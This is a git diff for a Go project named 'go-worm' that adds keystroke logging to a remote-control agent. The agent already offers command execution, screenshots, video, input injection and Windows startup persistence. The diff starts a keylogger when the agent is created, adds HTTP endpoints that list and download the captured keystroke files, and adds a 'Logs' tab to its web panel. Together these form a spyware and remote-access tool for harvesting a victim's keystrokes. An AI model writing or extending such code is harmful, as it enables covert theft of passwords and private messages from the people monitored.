diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 66c706c..8fbdaf2 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -16,6 +16,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/instance" + "tea.chunkbyte.com/kato/go-worm/lib/keylog" ) type Agent struct { @@ -44,10 +45,14 @@ func New() (*Agent, error) { } a.guard = guard input.EnableDPIAwareness() + if err := keylog.Start(); err != nil { + helpers.Log.Printf("keylog start: %v", err) + } return a, nil } func (a *Agent) Close() { + keylog.Stop() if a.guard != nil { a.guard.Close() } @@ -67,6 +72,8 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/input/click", a.handleClick) mux.HandleFunc("/api/v1/input/text", a.handleText) + mux.HandleFunc("/api/v1/keylog", a.handleKeylog) + mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload) a.server = &http.Server{ Addr: a.addr, diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index ad9114b..b2a6792 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -19,6 +19,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/files" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/input" + "tea.chunkbyte.com/kato/go-worm/lib/keylog" "tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" @@ -48,6 +49,8 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, "/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}}, "/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}}, + "/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}}, + "/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}}, }, }) } @@ -324,3 +327,61 @@ func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { } helpers.WriteJSON(w, http.StatusOK, result) } + +func (a *Agent) handleKeylog(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + files, err := keylog.List() + if err != nil { + helpers.Log.Printf("keylog list: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not list keystroke logs") + return + } + dir, err := keylog.Dir() + if err != nil { + helpers.Log.Printf("keylog dir: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not resolve keystroke log directory") + return + } + if files == nil { + files = []keylog.FileInfo{} + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files}) +} + +func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + name := r.URL.Query().Get("file") + if name == "" { + helpers.WriteError(w, http.StatusBadRequest, "file is required") + return + } + if !keylog.ValidLogFilename(name) { + helpers.WriteError(w, http.StatusBadRequest, "invalid log file name") + return + } + file, info, err := keylog.Open(name) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + helpers.WriteError(w, http.StatusNotFound, "log file not found") + return + } + if errors.Is(err, os.ErrInvalid) { + helpers.WriteError(w, http.StatusBadRequest, "invalid log file name") + return + } + helpers.Log.Printf("keylog download: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not open log file") + return + } + defer file.Close() + w.Header().Set("Content-Type", "text/plain; charset=utf-8") + w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`) + w.Header().Set("Accept-Ranges", "bytes") + http.ServeContent(w, r, info.Name(), info.ModTime(), file) +} diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 3b5aa67..26c8618 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -8,6 +8,8 @@ const shotGallery = document.getElementById("shot-gallery"); const execOut = document.getElementById("exec-out"); const execMeta = document.getElementById("exec-meta"); + const logMeta = document.getElementById("log-meta"); + const logRows = document.getElementById("log-rows"); const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); @@ -290,6 +292,31 @@ field.value = ""; } + async function listKeylogs() { + const res = await api("/api/v1/keylog"); + const data = await res.json(); + const files = data.files || []; + logMeta.textContent = `${files.length} files · ${data.directory || ""}`; + logRows.replaceChildren(); + for (const file of files) { + const tr = document.createElement("tr"); + const name = document.createElement("td"); + name.textContent = file.name; + const size = document.createElement("td"); + size.textContent = formatBytes(file.size || 0); + const modified = document.createElement("td"); + modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : ""; + const action = document.createElement("td"); + const link = document.createElement("a"); + link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`; + link.download = file.name; + link.textContent = "Download"; + action.append(link); + tr.append(name, size, modified, action); + logRows.append(tr); + } + } + async function runCommand() { const command = document.getElementById("exec-command").value.trim(); const timeout = Number(document.getElementById("exec-timeout").value); @@ -314,6 +341,9 @@ if (button.dataset.tab !== "video") { stopVideo(); } + if (button.dataset.tab === "logs") { + listKeylogs().catch((err) => showError(err.message)); + } }); }); @@ -358,6 +388,9 @@ document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); }); + document.getElementById("log-refresh").addEventListener("click", () => { + listKeylogs().catch((err) => showError(err.message)); + }); Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message)); })(); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 117a6d3..ee59094 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -145,6 +145,7 @@ Screenshot Video Command + Logs @@ -222,6 +223,19 @@ + + + Keystroke logs + Refresh + + + + + FileSizeModified + + + +